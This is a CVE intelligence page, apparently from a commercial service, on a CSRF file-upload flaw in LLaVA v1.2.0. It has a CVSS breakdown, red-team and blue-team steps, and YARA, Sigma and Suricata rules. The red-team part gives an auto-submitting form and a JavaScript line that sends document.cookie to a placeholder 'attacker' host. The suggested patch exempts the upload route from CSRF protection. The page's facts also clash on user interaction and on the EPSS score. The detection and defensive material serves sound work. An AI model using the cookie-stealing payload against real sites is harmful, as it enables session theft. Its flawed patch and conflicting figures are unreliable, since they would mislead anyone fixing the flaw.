☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9311

CVE-2024-9311 Cross-Site Request Forgery in Haotian-liu
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9311 is a Cross-Site Request Forgery (CSRF) vulnerability in haotian-liu/llava v1.2.0 (LLaVA-1.6). The vulnerability allows an attacker to upload files with malicious content without authentication or user interaction. The uploaded file is stored in a predictable path, enabling the attacker to execute arbitrary JavaScript code in the context of the victim's browser by visiting the crafted file URL. This can lead to theft of sensitive information, session hijacking, or other actions compromising the security and privacy of the victim. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. No official patch is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the LLaVA (Large Language and Vision Assistant) project, which is a Python-based AI model. The project is distributed via GitHub and PyPI. Users should verify the integrity of their installations and monitor for updates from the maintainer.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must visit a crafted URL)
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: None

Deep Dive & Mechanics

The vulnerability is a Cross-Site Request Forgery (CSRF) in the file upload functionality of LLaVA v1.2.0. The application does not implement CSRF tokens or other anti-forgery mechanisms. An attacker can craft a malicious HTML page that, when visited by an authenticated user, triggers a file upload request to the LLaVA server. The uploaded file (e.g., a JavaScript file) is stored in a predictable path (e.g., /uploads/). The attacker can then trick the victim into visiting the uploaded file's URL, causing arbitrary JavaScript execution in the victim's browser. This can lead to session hijacking, data theft, or other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.0): The file upload endpoint lacks CSRF protection. Example:

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded'

Patched Code (Hypothetical): A patch would include CSRF token validation and proper authentication checks:

from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

@app.route('/upload', methods=['POST'])
@csrf.exempt  # Not recommended; use CSRF token
def upload_file():
    if not session.get('authenticated'):
        return 'Unauthorized', 401
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded'

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy LLaVA v1.2.0 locally or on a test server.
  2. Craft Malicious HTML: Create an HTML page that auto-submits a form to the LLaVA upload endpoint.
    <form action="http://target/upload" method="POST" enctype="multipart/form-data">
      <input type="file" name="file" id="file">
      <input type="submit" value="Upload">
    </form>
    <script>
      document.getElementById('file').value = 'malicious.js';
      document.forms[0].submit();
    </script>
    
  3. Host Malicious File: Serve a JavaScript file (e.g., malicious.js) that steals cookies or performs actions.
    // malicious.js
    fetch('http://attacker/steal?cookie=' + document.cookie);
    
  4. Deliver Payload: Send the crafted HTML page to the victim (e.g., via phishing email).
  5. Execute: Victim visits the HTML page, file is uploaded, then victim visits the uploaded file URL (e.g., http://target/uploads/malicious.js), executing the JavaScript.

Blue Team

  1. Detection: Monitor for unusual file uploads to the /uploads/ directory.
  2. Prevention: Implement CSRF tokens and authentication checks.
  3. Response: Block known malicious IPs and scan uploaded files for malicious content.
  4. Honeypot: Deploy a fake upload endpoint to detect scanning attempts.

Indicators of Compromise (IOCs)

  • File Paths: /uploads/*.js, /uploads/*.html
  • Network Traffic: POST requests to /upload with Content-Type: multipart/form-data
  • User-Agent: Suspicious or non-standard User-Agent strings
  • Referer: Requests with missing or spoofed Referer headers
  • Logs: Repeated failed upload attempts or unusual file types

Detection Engineering

YARA Rule

rule CVE_2024_9311_CSRF_Upload {
    meta:
        description = "Detects malicious JavaScript files uploaded via CSRF in LLaVA v1.2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9311"
    strings:
        $js_payload = /document\.cookie|fetch\(|XMLHttpRequest/
    condition:
        $js_payload and filesize < 10KB
}

Sigma Rule

title: CVE-2024-9311 CSRF File Upload Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /upload with suspicious file types
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/upload'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate file uploads
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9311 CSRF File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_content_type; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable file upload functionality if not required.
  2. Short-term: Implement CSRF tokens using Flask-WTF or similar.
  3. Long-term: Apply authentication and authorization checks to all upload endpoints.
  4. Monitoring: Enable logging and alerting for file uploads.
  5. User Education: Train users to avoid clicking suspicious links.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

llava
haotian-liu llava

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9311/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.